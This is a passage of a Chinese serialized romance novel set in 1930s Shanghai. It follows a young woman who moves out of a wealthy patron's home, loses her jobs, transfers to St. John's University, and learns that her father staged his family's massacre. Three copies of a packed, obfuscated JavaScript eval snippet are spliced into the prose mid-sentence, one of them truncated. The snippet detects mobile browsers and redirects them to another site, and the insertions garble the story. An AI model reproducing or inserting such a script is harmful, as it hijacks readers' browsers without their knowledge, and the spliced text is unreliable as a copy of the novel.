莲山是清癯,他那是像猴子,嘴角那块儿总有点局促;剃个小平头,穿身黑袍,看起来就凶。在二楼探头探脑的几个妈子和周馥立刻缩回去了。金雪池也想溜,但因为是主要人物,硬着头皮端坐在沙发上。 邵子骏显然和薛莲山很熟,一屁股坐在沙发上,双腿大岔,撑在膝盖上巡视一圈,“托我办事,你也不请客,把我往家里使唤。” “跟别人还是会请的,请你真是不必。要不你自己出去吃,挂我的账好了。”薛莲山也不跟他多打岔,把她的情况介绍了一遍;邵子骏时不时点一下头,越过薛莲山的肩膀往这边望,也露出暧昧的笑。 “金小姐,这样,”他用国语说,“你知道现在都是安全的,因为一直住在他家,出门也和他一起,是吧?说明对面在观察你。他们不想跟老薛结梁子。过几天我们家正好要办答谢宴,带你过去转一圈、见见人,他们如果一直在暗中盯着你的话,就知道你被我罩着了,明白?谁也不敢在上海对你动手的。” 她点了点头。 “另外,追你的那个人跟我描述一下,我尽可能找。不过有可能找不到,也有可能来的不是那一个,别抱太大期望。” “我知道,谢谢你。” “不谢,我在外面到处挂老薛的账,应该的。”邵子骏多看了她几眼,语重心长道,“老薛就喜欢你这款,像个学生妹,年纪不大吧?你爹死了,你也不必太伤心,他那种人和我们一样,是有觉悟的。你该干嘛干嘛,明白?他把你从那破地儿送到北平,不是让你回头看的。” 金雪池知道他是好意,但她不信金文彬死了。 接下来就是邵少爷打电话来通知:三十号下午四点把她送到自己家来。电话是宋妈接的,当时只有金雪池在家,就跟她说了一声;金雪池又跟薛莲山说了一声。他当时用手帕掩着咳嗽,挥了挥手,示意听到了。 他不是那种游手好闲的有钱人,每天实打实地早起上班、晚上加班,在家的时间非常少,这也导致跟金雪池根本没几句话说。周馥照例钉在沙发上,若是他回晚了,就要问一句:“怎么这么晚?你早上说八点就能回来。” 薛莲山往常会觉得相当心累,她根本没资格管他;就算他又跟谁好上了,他也会直接带回家,没必要背着她。何况他手底下真的有那么多矿。 然而不知道是受了金雪池的教导还是怎么着,这几天他的态度很好,有问必答。女人要的就是个有问必答。这一答,她什么情绪都没有了,快快乐乐地给他泡茶,如同做了夫妻一般。 金雪池的分析功能有一点崩坏了:他们又如胶似漆上了。她确实是深闺里养成的,不知道新式恋爱到底是怎么回事,听闻情侣间就是吵吵闹闹、分分合合的,他们要是又好了,那他上回在车上说的那些话......“你要是介意,我让她明天就走”,又是什么意思? 她觉得有点难受,他好像是故意在让她紧张。真正爱她的人不会让她产生如此多的情绪,譬如老豆,她从未考虑过老豆爱不爱她。一想起来不禁泪潸潸了,要是老豆还在,能让她这样人在屋檐下? 三十号下午三点,薛莲山好像没想起来要接她去邵公馆。 10.租房 她找宋妈要了电话本子,找到他公司办公室的电话拨过去,那边很快接了,是一道女声:“你好,这里是苏兴矿务实业公司董事长办公室,请问有什么可以帮到你的?” “我找薛先生。” “董事长中午就出去了,目前还没回来。你贵姓?需要留言吗?” “我姓金,你说我打过电话就好了。”何况等他再回公司也来不及。 今天上午周馥叫汽车夫载她出去了,现在也没回来。不能是她一去,薛莲山就把要找邵子骏的约定给忘了吧?又或者他压根没有听清楚时间,当时只是打发她闭嘴。不管如何,是对她不关心的表现。看着挂钟指针一点点往下压,金雪池头一次有点惶然。 这是他的地界,他要是懒得帮这个忙,那她一点办法也没有。 到了三点半,她实在没招了,翻到了邵子骏家里的电话,犹豫着又不敢打。那就是个混混头子,难道让他派车来接自己吗? 院外忽然响起了汽笛声,汽车夫朝里喊道:“金小姐,薛先生让我来接你!” 金雪池如蒙大赦,匆匆上了车。一路上车开得很快,可见确实是来迟了,要么薛莲山忽然才想起来,要么薛莲山原本是决定来接自己的,后来被其他事绊住,临时叫了一辆车来,无论如何......她被人引进邵公馆的花园,广阔的草坪上,摆了许多桌椅、太阳伞,男女宾客穿梭交谈。她像个傻子一样在原地站着。 过了许久,邵子骏才找过来,四处张望,“老薛呢,就你一个人来了?” “是,他有点事。” 邵子骏也没说什么,让她随便坐,随便吃喝,像在自己家一样。怎么可能像在自己家一样?她如坐针毡了一个多小时,只喝了几口茶,邵子骏才又回转过来,挽着她上台说了几句话。说她是一位初来上海的朋友,算自己妹子,谁要是动了她,那就是跟他们邵家两兄弟都过不去。底下一张张的脸都是笑,妹子,哪种妹子? 金雪池的情绪一直紧绷到宴会结束。邵子骏消失了,佣人把她引到后门口,那里有一辆黑色的劳斯莱斯等着她,薛莲山在窗口对她笑了一笑。月亮是天上黯淡的圆形斑痕,树影越过院墙、枝枝蔓蔓地映在地上,一切全成了话剧的布景,为了成就他搭建的;夜色是多少年前的夜色都无所谓,只有他的存在真切。 坐进后排,在昏暗、低矮、弥散木质香气的私密空间里,她不可抑制地放松了精神,甚至比独处时还放松。他善于让人患得患失,又有让人安定的魔力。金雪池照单全收,有点放弃抵抗的意思。 “今天差点迟到了。” “真抱歉,我本来是要来接你的,耽搁了一下。”却并不解释为什么会耽搁。“邵少爷的话很有效力,你可以放心了。郝老板就算跟你父亲有深仇大恨,也不能够自己追来,肯定是买凶杀人。凶手受人之托,犯不上在上海跟邵少爷玩命。他是个疯子。” “唔,谢谢你。” “不用谢,我再强调一次:这阵子所作所为全是我情愿,能够帮到你让我很开心,你一分钱都不欠我的。”他温声说,“往后怎么打算?搬出去住吗?” “......是的,承蒙你照顾。” “好,找工作也要提上日程了。你不要觉得目前只能留在上海是一种束缚,其实新女性就该往大城市走,更安全、更包容、工作机会更多。城市太老旧了,会吃人的,还专吃女人。我祝愿你早日找到房子和工作。” 座椅微乎其微地震动了一下,他没注意到。是金雪池把额头抵在了他的椅背后,静静的,两边都是人体的温热,然而终究不能相通。她闭眼淌着泪,想:老豆,当年你在的时候,他才不敢造次;他是欺负我无依无靠了。你说的真对,不能自由恋爱,看我恋上个什么人。 她精神上的意志力很薄弱,所以她必须在物理上离他远一些。 两周后,金雪池搬出了薛公馆,临走前还被强塞了一百大洋,搬进了一间石库门房子。所谓石库门,是上海的一种特色民居,构造和江南院落相似,然而隔出许许多多小间,可以住几户人家。至于说灶披间、盥洗室、晒台还是所有人家公用的,也节省了费用。 虽然没有大学毕业证书,但凭着高中文凭——好吧最主要凭着薛莲山的面子,她进了一家贸易公司做票据处理员。工作不忙也不清闲,最主要是无聊,五点下班。下班后,晚上七点有一份家教工作,是周馥介绍的,刚好需要她教数学。 金雪池在此之前其实从来没考虑过职业问题。她上大学,是因为觉得数学有乐、以及想到离家远的地方玩玩,不是为了找工作。反正家里有基业,有什么必要到社会上受气? 这下子她切实体会到了:社会就是给你气受的。 每天早上火急火燎赶公交,就是为了去数票据、填票据、黏票据、订票据,这四件蠢事耗掉她一整天的天光。这还算好,毕竟不与人打交道。到了晚上,赶去教初中生做几何题,那叫李仲焘孩子问:“为什么要连这几道线?” “因为连了后出现了一对相似。” “那么在没连之前你怎么知道它们相似呢?我就看不出来。” 如果题目再复杂些,她还能讲讲推导过程,毕竟以前在学校里她也给同学讲题;但对于初中题目,她真不知道有什么可讲的。一看不就知道了吗?她只好说你多练练也会知道的。家长感到不满意,因为问她题,她都会;让她说为什么,她却讲不出个所以然来。 现在有很多水平不怎么样的大学生在外面当家教,会事先背好练习册的答案。他们怀疑金雪池属于此类。 正好那孩子也需要英文家教,夫妻俩一合计,认为让女学生教数学不如让女学生教英文妥当。为了保住这份工作,金雪池只好转而教起了英文,这就更可怕了:她的口语有股浓浓广东味儿。 家长更不满意了。他们找到周先生投诉,周先生找到周馥,周馥来找金雪池,最后在弄堂的公共自来水龙头边找到了她。她正蹲在盆前,看上去是洗衣服把自己洗哭了。 金雪池在此前从未自己洗过衣服,大学期间也没有。有的校工会私下承接洗衣业务,沙滩北街的洗衣局也对学生打折,她自然选择花钱请别人洗。现在没有钱了,小到袜子,大到床单被套,全需要她亲手搓。刚才她给枕套打了一遍胰子,连着透了四道水,第五遍透水的时候还有泡沫,崩溃之下真想一头埋到盆里把自己溺死。 见周馥来,她很不好意思,用胳膊胡乱抹了几下脸,“周小姐。” “你吃了么?” “嗯,我在公司的食堂吃饭。” “我给你带了一盒洋火、一盒抹脸油。”周馥实在不忍心告诉她实话,心一横,决定还是再为她争取一下,“你......有没有带什么资质证书?就是高中毕业证书之类的,李家夫妇很谨慎,他们想看看。” 全装在行李箱里,砸人的时候扔掉了。金雪池谢了她的礼物,带她到自己房里,让她随便坐, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962916|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐床上就好;自己则在五斗柜的里翻找一阵,找出一封回信。 前阵子她给北大写信申请办理退学。北大先是援引《校长训词》,“遇困即退者,非北大学子应有之精神”,让她不要随随便便就退学,办休学也比退学好;如果是经济上有困难,可以申请清寒学生贷学金;非退学不可话,请于收到信后十日内持家长签字之退学申请书至教务科办理离校手续。逾期未办,将注销学籍,不再补发证书。 她既没有家长签字,也不能去北平,把信反复读了几遍,干脆没回信。 这会儿金雪池就指着最底下的章子问她,“这个行不行?我实在没有别的东西了。” 周馥定睛一看,“啊?你说的上大学是上北大啊?” “嗯。” “不行,”她站起来,“你别上班了,太可惜了。莲山是圣约翰大学的校董,我去跟他说说,让他把你转进去继续读书。” 金雪池不知道她是下了多大的决心,以为他俩是复合了;其实他俩彻底分手了。但是周馥决定去说说看。 “我好不容易硬气一次,现在基本自立了;现在又掉头去找他,再欠许多学费、生活费、人情?” 周馥惊讶于金雪池好像完全分不清主次,在可遇不可求的机遇面前谈骨气。她怎么劝,金雪池都毫不动摇,只好先走了。 金雪池确实是不靠谱,然而她有一点很敏锐:对“瘾”的嗅觉。美丽的,舒服的,令人着迷的,引人下坠的,一陷进去就爬不出来了。人不读书,只是工作更难找些;但人若是有了瘾,轻则妻离子散、家财散尽,重则业障缠身、横死街头。她自小就看尽了这些事,比谁都清楚危险,又因为流淌在体内的欲望的血液,她比谁都容易堕落。 老豆说:唔好赌啊。 她说:好嘅。 三天后,李先生又让她教回数学。他的语气好了很多,还有意涨薪。金雪池认为大可不必,无论如何,她的教学水平差劲是摆明了的。但她现在同意薛莲山的一句话:新女性就该往大城市走。在这座大城市里,李先生能容忍她拙劣的教学,周馥愿意让男朋友为她费心。 为避免李先生有“钱打了水漂”之感,她决心认认真真备课。是的,之前金雪池没备课,因为想着是仲焘拿题目来问她,反正都会做,有什么可备的? 现在在公司里开小差,掏出课本和笔记本翻了半天,她也没备出个所以然来。倒是想起来上学时老师提过一嘴的莫莱三角形,反正仲焘也在学平面几何,拿这个趣味题给他开开胃吧。 老师当时并没有讲如何证明,回去后,同寝的女生讨论了一晚上,她捡了只耳朵听着,但因为在写别的作业没有参与讨论。现在想起这一茬,忽然来了兴趣,花了两个多小时写了一遍证明,连经理巡视的时候在她背后站了半天都没发现。 快到李家楼下时,远远地看见路边停着一辆车,体量很大,车身是复古红,前后盖板是黑的。她忽然就想到了薛莲山,并兀自小小地笑了一下。经她观察,路面上行使的车辆外观都大差不差,方正漆黑,有商务气质,大概有钱人还是更偏向于通过家宅、藏品、珠宝来彰显自己的财富,而非舶来的汽车。只有薛莲山。他的车是那种一眼就能看出价格不菲的。 因着这车的缘故,她想到他;又因为想到他,和那辆车之间隐隐有了感应。她觉得他会从驾驶室里出来,于是他就真的从驾驶室里出来了,站在路边,微笑地看着她走过这段没有路灯的路。 11.失业 “金小姐,好久不见。” “好久不见。只可惜现在不能和你多说话,我得去上课了。” 薛莲山能等在这里,自然是知道她是什么时候要上课。但他只是说:“那快去吧。” 她加快脚步上楼,上到拐角处,忍不住又回头道:“薛先生有事要和我说么?恐怕得等两个小时,要不改天吧。” 他笑道:“不要紧,我随便找个咖啡店坐一坐。” 金雪池没说什么,径直上去了,心中直犯嘀咕。以莫莱三角形做的开场白没有引起仲焘的兴趣,她就更挫败了,但仍试图给自己糟糕的授课增添一点趣味,“好,那我们不做题,画画怎么样?比如——啊,你会用尺规在圆内作正五边形吗?” “不会。” “给一个小提示,我们上次课不是刚算过黄金分割比吗?正五边形的对角线长度恰好是边长的(√5+1)/2倍。这个问题的本质其实是怎么把√5这个代数数在几何中表现......” 仲焘打断她,“不是说不做题吗?” 金雪池绝望了,接过他的作业本,开始一道道写解答。仲焘同学对这种上课方式很满意,他也不想听她讲,他就需要她帮忙把作业写掉。两个人都心不在焉,一个想着班上的笑话,一个想着楼下的人。 薛莲山可能没有等她,他就来钓她一下,转身又走了,隔着几个街区继续钓她,让她抓心挠肝一晚上:他到底有什么话? 然而他在等她,手上还多了一袋热腾腾的南翔小笼包。这家店在豫园,常年要排长队,饭点恨不得要排上一两个小时的队才能买到。他把大纸袋递过来,她只好接下,“谢谢。怎么想到要去排小笼包?” “我也不知道。平常忙,不会排队买夜宵;今天因你得了一段清闲,忽然就想去排一排。” “其实没必要,等的很无聊吧。” “一点也不。因为想着你,我的心很静、很愉悦。”他打开后排车门,“送你回家。” 他实在太会营造舒服了。她难以拒绝,还是上了车,反正都搬出来住了,送一送怎么了?往座椅上一靠,她就开始吃小笼包——她是第一次吃上海小笼包,没料到里面有热汤,那不叫汤包吗?一口咬下去,热汤就溅了出来。 金雪池咽下被烫到的痛呼,掏出手帕开始猛擦真皮座椅,擦了半天,不知道擦干净没有,车内又暗。最后还是没敢主动跟他提,因此又多了层心虚。 到了弄堂口,他停好车,跟着她一直往里走。金雪池回身道:“薛先生,谢谢你送我回家。不过已经很晚了,你也早点回去,周小姐......” 他打断她:“我和她分手了。” 她的心猛地一蹦——雀跃地,轻快灵活,她抬头去看他的表情;他也在观察她。金雪池没搭茬,也没阻止他继续跟着自己,穿过弄堂,往楼上走。楼梯间狭窄,两人只能一前一后。她听着他的皮鞋在旧木头上踩得吱吱直响,有种轻微的悚然感,不知是因为和童年时期的记忆有关,还是心脏为他跳得太快。 她忍不住越走越快,到了门口,低头掏钥匙开锁。因为楼层太矮、顶上又长了青苔,他微微弓着背,几乎是在她耳边呼吸着。 金雪池又有个小发现:他稍一运动呼吸声就很急促,平日里也常咳嗽,大概有呼吸系统方面的毛病。 “这就是我租的屋子。”她介绍说,“有点小,不过我能负担得起。” 确实小,靠着窗的地方放了一张铁床,床底塞一个箱子和几个盆;另一边是五斗柜和衣柜,柜子上摆了许多杂物。空地中间有一个张小木桌,疑似从哪个中学捡来的,上面用小刀刻了许多“我爱XXX”“XXX是小赤佬”字样。桌角挨着一个洋油炉子,上面搭了一柄小水壶,还被砸凹了一块。堪称凄惨。 薛莲山不能坐她的床,所以只好坐在那张桌前,乐不可支地笑了一声。金雪池也想笑,不知道为什么,她很快乐,但她最终背过身去,“我给你倒杯茶。” 这么破的地方,她还煞有介事“倒杯茶”,简直像小孩子过家家,薛莲山笑得更厉害了。 底下蹲着的金雪池意识到炉子上的水冷了,又匆匆重新往炉子里加了点煤油,擦了根洋火。温度骤然升高,室内湿气也大,薛莲山的眼镜上迅速起了一层雾气。他摘了眼镜,掏出上衣口袋里装着的帕子擦拭着,慢慢道:“知道我这趟来是为什么的吗?” “上学?” “没错。我以前有一些误解,因为北平的私立学校很多,很多少爷小姐都交钱去镀层金......你懂的。但如果你是考进北大的,情况就完全不同了。周小姐说的时候,吓我一跳。如果你是因为想和我算清楚账,因而不肯接受帮助,那么我会觉得自己是罪人。” “言重了,你对我已经仁至义尽。何况我觉得意义不大,现在很多人大学毕业都找不到工作,我现在有一份工作,慢慢精进,这就很好。” 薛莲山苦笑一声,“如果我说,是因为私心呢?” 私心?金雪池的心怦怦跳起来,这个时候,他要说什么?他真说出来,我更要躲着他走了,这一点他想不到么?屋子里太黑了,有利于暧昧氛围的增长,她连忙伸手拉亮了台灯。亮光一爆出来,两人都往后一缩;接着灯光又暗了些,颜色是咸鸭蛋油津津的黄,最终稳定在一个恰恰能够看清彼此的程度。 金雪池的重心又往前挪了一点。 他不戴眼镜和戴眼镜是两个样子。戴眼镜时有神采,配上他那副笑,真像个银行家。然而取下眼镜,他是略带病容的,眼圈下微微发青,这点青可以被眼镜框投下的阴影盖住,平时不易觉察,此刻却显得憔悴。灯下,长而平直的睫毛在睑部投下阴影,更添几分楚楚。 金雪池觉得摘眼镜对他来说是比脱裤子更暴露的行为,一时口干舌燥,觉得看他都是一种不礼貌。但仍忍不住多看几眼,又惊异地发现他眼睛后半部分是微微下垂的,难怪看什么都深情。 他说什么我都答应了。她想,要我当情人都答应。 “别看我现在风生水起,事实上,我是从没读过书的。”他凝视着她说,“小学文凭都没有。因为旁听过几节私塾,才学会写字算数。如果你认为读书是为了找工作,那么我这个有好工作的人告诉你,在我看来,就是‘万般皆下品,惟有读书高’。我希望你的‘高’里面,能有我的一部分。这就是我的私心。” 不乘虚而入,伟大的绅士,可敬的对手。 她看着他的眼睛,先说了一遍“好”,随即意识到自没成功发出声音。她又说:“好吧。” 他垂下眼睛,低声道:“谢谢你。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987347|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同时伸手过来,握住了她的手。金雪池恍恍惚惚地没有挣扎,是我谢谢他才对,怎么他谢谢我呢?在他的手中,她觉得自己成为很小、很柔软的一团,越捏越无意识,快要昏昏睡过去了。这时,他腕上的劳力士硌了她一下——这点冰冷、坚硬,一下子将她惊醒。她猛地抽回手,往后坐了坐,两手忙乱地捋着辫子。 他站起来,看了看表,“那么,我走了。我会跟他们打好招呼,有消息再来找你。” 她胡乱地点了点头。门咔哒一声被关上,她走到桌前,给自己倒了一杯半冷不热的水,随即想起他大老远跑来一趟、在外面等了几个小时,也没让他喝上一口水。 说来也是巧,金雪池准备在确定自己能入学后再辞去票据处理员的工作,结果到了周末,公司先把她辞退了。可见她是多么眼高手低、志大才疏,她看不上这份蠢工作,人家也看不上她。除了读书以外,竟一件事都做不成。 还是得靠人养,还是要欠别人。 老豆,你会对我失望吗?会双数,不会单数。 她把骰子往天上一丢,一把抓住。六。 金雪池警告骰子说:“你不许对我失望。再给你一次机会。” 六。 她愤恨地把骰子塞到枕套深处,一屁股坐在桌前,决定要做点厉害的事出来给老豆看。好,她会成为一个好老师,她绝对不能再把家教的工作丢掉了。 然而当晚上完课,李太太把仲焘叫出去,关上房门与她说话。“小金老师,实在对不住,我们不打算继续上家教了。” 金雪池像当面被人骂了一样,嗫嚅道:“噢。” “不是别的意思,因为仲焘有个哥哥,目前正在上大学,你也见过一两面。我们家也不宽裕,把哥哥这学期的学费交了以后就有点紧张了。仲焘毕竟只是初中生,我想,家教就不必了,让他自己在学校好好学。” 金雪池稍稍挺直了一点腰,“好的,初中的内容确实不难,我觉得仲焘是题目做得太少了,对题型都不太熟悉。以后独立思考的时间更多,也许对他有好处。”然而心里还是隐隐怀疑自己的服务是不是效益配不上价格,让李太太觉得不划算。 真是天要亡她。这下什么收入都没有了,她只好像个废物一样,等着薛莲山来找她。 薛莲山是周二早上来的,为了她的事,请了大半天的假。她上车的时候,他还在翻一个塑料夹里的文件,见她来了,随手塞在门侧的夹层里,“早上好。吃东西了吗?” 她摇摇头。 “先带你去吃早饭。” “不必了,薛先生,耽误你太久。” “我也要吃。”薛莲山说,“何况我很愿意和你一起吃饭,有一顿是一顿。今天只能吃早饭、中饭,我下午五点就要回公司。你也要去上课吧?” 金雪池本来不是个情绪化的人,然而听他用温和的语气说这些话,热泪直往上涌,吸了一下鼻子。他回过头看了她一眼,苦于还在开车,没法在她蓬蓬的小刘海上拍一拍,“咦,我哪句话说错了?” 她只解释了两份工作是如何离她而去的,没对自己做出任何评论。但薛莲山心领神会了,他说:“你还是一个很小的小姑娘呢......十九岁,经历了这么大的变故,还能在异乡好好地活下来,已经很厉害了。” 12.圣约翰 吃完早饭,他们来到了圣约翰大学门口。 圣约翰大学是中国第一所现代高等教会学府,是当时上海乃至全中国最优秀的大学之一,享有“东方哈佛”、“外交人才的养成所”等盛名。作为私立教会综合性大学,每学期学费高达两百多大洋,所以考入圣约翰大学的都是富家子弟,每到周末,接学生回家的汽车便会在校门口排起长龙,也是一个奇观。 金雪池听说除国文以外其他课程全用英文授课的时候,已经微微有点头晕了;又闻学费两百多,更是心中如焚。她完全是被薛莲山推着进了一间办公室,里面坐着个微胖的中年人,是理学院的院长。 两人寒暄一番,王院长就转脸向金雪池,“密斯金,你好。本来入学考试需要考六天,鉴于你是转校生,薛先生又向我们提供了你的证明文件、成绩单,我们也不必像考高中毕业生那样考你。今天做两份卷子就行,一份和你大一学过的专业课相关,一份考英文、国文等基本素养。” 金雪池大吃一惊,抬头瞪着薛莲山,薛莲山不明所以。等王院长给她发了卷子和笔,她坐下做题了,他站在廊上一想:她不会不知道转校要考试吧?我确实没强调,但她不能一点准备都没有吧? 他都替她惴惴的,在校园里逛了几圈,又买了两份饭回来。中午时分,王院长收走了卷子,两人在办公室里对坐着吃饭。金雪池真没料到这一天全用来考试,那么他就是为了等她、帮她买饭请了半天的假,歉然道:“麻烦你了。” 顿了顿,她又说:“我还以为你一开金口,这事儿就算成了呢。” 薛莲山差点没沉住气,他只是有几个钱,又不是有权有势,做到每一件事其实都比她想得困难。转学的机会也是他好说歹说,为她挣来的。她可好,没复习! 但他还是维持住了好态度,“下午还有一场,放轻松,不要再想早上的了。” 金雪池嗯了一声,还在慢慢地挑菜里的蒜末,一粒一粒地挑,没有显现出半分裸考的愧疚感。薛莲山觉得她真有一种与年龄不符合的孩子气,倒不是说幼稚,是一种游离事外的飘忽感,让他皇上不急太监急。 直到一周后,王院长把电话打到他的办公室,笑道:“薛老弟,你给我带来一个好学生啊!” 他忙问:“她通过了吗?” “考得非常好,非常好。除了英文写作很刻板以外——当然语法都是对的,但太贫瘠了,不像是互动课上学到的,像是从书上学的——其他的地方都考得很好。很高兴你把密斯金介绍到我们学校来。相关文件我会赶在开学前寄到你那里去,注意查收。” 挂了电话,他用手指轮流敲打着桌子,忽然一下子站起来绕着房间走了几圈,笑了几声。电话铃又大作起来,他陷回椅子里,正襟危坐地说你好。那便是邵子骏,让他来码头仓库。他说马上要开会了,没空。 “人抓到了!”邵子骏大叫道,“还供了两个出来,真是软蛋,现在一窝端了。” “我只问你——有没有人快不行了?” “没有,我很有分寸的。” “那你催什么,我开完会再去。” 邵子骏悻悻地等了几个小时,等到天黑了,薛莲山才出现。一推门就是股血腥味,他不慌不忙地抽出手帕抖了抖,掩在鼻子上,凑近轮番打量了三人。三人都像稻草人似的被绑在木架上,脑袋低垂着,被头顶吊着的一枚灯泡照耀。俨然有殉道之肃穆感。 其实能抓到人,主要归功于金雪池的描述。她平日里“都可以”“差不多”,真到了考验记忆的时候,就凭一眼,描述得要多精确有多精确。人家画了一副像出来,她又纠正了好几初,导致最后出来的画像和真人几乎别无二致。邵子骏一抓到这人,几乎乐了:“说你的门牙是三角形,怎么真是三角形?” 他这会儿又说:“我其实已经问过了。你猜怎么着?他们跟那天晚上灭了金家的门的不是一波。” 薛莲山闻言一愣,指着面前的人,“我跟他说几句话。” 邵子骏从木制集装箱下跳下来,抓着这人的头发迫使他抬头。这人被痛感唤醒,微微睁开一缝眼睛。薛莲山问:“东家什么时候找到你们的?” “......今年三月份。” “见过面吗?” “没有,都是我们大佬介绍的。” “你是香港人?” “是。” “你们大哥当时怎么跟你传话的?原原本本讲给我听。” “灭门,因为生意上的竞争。” “然后呢,你们什么时候去的?” “我们六月五日去的,到的时候发现金家已经被灭门了,院里正在着火,主屋的门被从外面钉死了。撬开木板,就发现他们家所有人都在那里,全烧死了。金文彬绝对是金文彬,看得很清楚,他那几个女人也辨得出来。就是有几个孩子烧得脸都坏了,身材特征还是全对得上。大佬是让我们沉海的,我们就把尸体拖去沉了海。但是他们家很大、赌坊很大,遗落了许多没烧掉的文书资料,我们兄弟几个就还是留在那里,准备翻个底朝天再回去。再然后,再然后就发现居然还有个女学生回来......我们不知道是什么人,觉得还是下手比较好。” “当晚金家起火,邻居没反应?” “我们后来假装路人去问了,因为他们先听到了枪声,知道金文彬仇家多,不敢出门。” 薛莲山拍了邵子骏一下,邵子骏松开手,跟着他一路走到门口。 “子骏,”他叹道,“我真是惹了一身腥。” “说什么呢?明明是我身上腥吧,”邵子骏展示出两只沾满血污的手,“你刚站那么远还腥?” “此腥非彼腥也。我当时看到金小姐,完全昏了头,忘了她爹是个什么人。她爹五毒俱全,走私、放贷无所不干。我原以为这回是郝老板报复他,太小看了。郝老板根本就是个幌子,他急着对郝动手,是因为知道有更厉害的人要对自己动手了,先制造一起‘合理仇杀’。” “其实我还没明白。” “唉,他自己买凶灭自己的门。目的就一个,可以提前买个姑娘回来、替代金雪池,让她躲过去。” 邵子骏听得呆住了,“你不是说他家里十二口人?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002565|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“加起来也比不过金小姐。”薛莲山道,“这件事我第一次去就看出来了。他自己反正是亡命之徒,也不把女人当人。” “狠人。”邵子骏感慨道,“那么,你救下金小姐,其实无形中违背了某位背后人物的意思。好在他现在估计不知道。” 薛莲山嘱咐他千万把三人处理干净,开车回家了。家里空荡荡的,他发了会儿呆,真心实意地觉得金雪池幸运。金文彬居然能为她做到这个地步。有的父亲能为孩子死,有的父亲想让孩子死......各人有各命。现在金文彬死了,自己又来为她兜底。虽说若仇家不死不休地找过来,他肯定会交她出去,但仇家大概率找不过来。 他挪到沙发最右边,倾身取下话筒,慢慢地拨号。房东接了,问:“找哪个?” “找金小姐。” 房东喊人去了。他擎着话筒,那边传来隐隐约约的背景音:两个女人用宁波话聊天,小孩与狗玩闹,自来水哗哗流。像一部电影、一篇小说开场时描写的街头景象,故事开始之前,世界要排铺开。而他在近乎使人耳鸣的安静中,恍然觉得自己在另一个世界。 一分钟后,金雪池接起电话,用手笼住传音筒,“薛先生?” 两人静静听着彼此的呼吸,片刻,他说:“忽然想打电话来问问你。” “我没有什么可问的。” “你没有什么要问我的?” “呃,你吃晚饭了吗?” 他大笑起来,“还没有!你一点也不关心自己的转学考试如何?” 那边也轻轻地笑,“我猜到了。” “想来你在早就猜到了,考试出来不慌不忙的。圣约翰重文科、神学、医学,或许在理科的命题上简单一些,你到底是从北大出来的......” “没有,我没有这么觉得,我很感激能有这个机会。你别在院长面前搬弄是非。” “我是那样的人吗?”薛莲山的声音越来越轻,“在你的事上,我只搬‘是’,绝不说‘非’的。” 说完这句,他就挂断了电话。月满则缺,这个阶段,把话说到这地步就可以了,让她慢慢想去吧。没必要告诉她跟踪者已经抓到了,免得她翅膀硬了,哪一日悄悄离开上海。也没必要提起金文彬,此人死得其所,不值得让美丽的金小姐为他再流泪。 九月初,金雪池顺利入学。 她其实有点不是滋味,分不清自己出现在这里,到底是努力上进,还是一种下坠。身边的同学非富即贵,有汽车把他们送到门口,又有佣人背行李上楼,铺床、打扫......她也有。薛莲山亲自来送她,开了他的爱车中最为朴素的一辆,仍能看出价格不菲,不比谁的差。 到了宿舍,也是由宋妈帮她铺床。宋妈临走前忽然往她手里塞了一卷钱,拍了拍她的手,又在上面一攥,“薛先生给你的,怕当面给你不要。” 她不可能不要,否则在学校用什么呢?就是薛莲山亲手给她,她也得接着。但他让宋妈代为转交,避免了她从他手上接钱的场面。金雪池窘迫地道了谢,待她走后,展开一看,足足有七十块。这学期都够了。 13.学期 毕竟是私立学校,设施条件好,一间寝室只住两个人。当天下午,她的舍友就到了——一头时髦的电烫卷发,穿束腰小洋裙和高跟凉鞋,往门口一杵,等她的老妈子铺床,同时面无表情地嚼紫珠口香糖。待人走后,她主动打了个招呼:“Hello?” 金雪池点了点头,“你好。” “我叫孙婕霓,你呢?” “金雪池。” “I like your name。” 金雪池一下子没忍住笑了,因为她的英文发音百转千回,十分有嚼劲。孙婕霓没料到自己夸她,她还笑,且明显不是回应式的微笑,高高扬起眉毛;随机想了想,这金雪池还留根麻花辫子,显然是乡里来的,没必要跟她计较。 “你去教导处拿书了吗?” “正准备去。” “可以帮我也拿吗?” “呃,”金雪池想了想,“我可能拿不动。” “我请你吃饭。” 拿不拿得动和请吃饭又没有关系,但她懒得说了,顺着张贴的指引找到了教材堆放处。本校的学生本就不多,特别是数学系,连班都不用分了,整个年级也就十二个人。教材自然是全英文,一本Picard的《微分方程论》,一本Osgood的《函数论》,一本Dickson的《线性代数》。她费力地用小臂和胸口兜住厚厚三大本,忽然想起一个问题:孙婕霓是哪个系的? 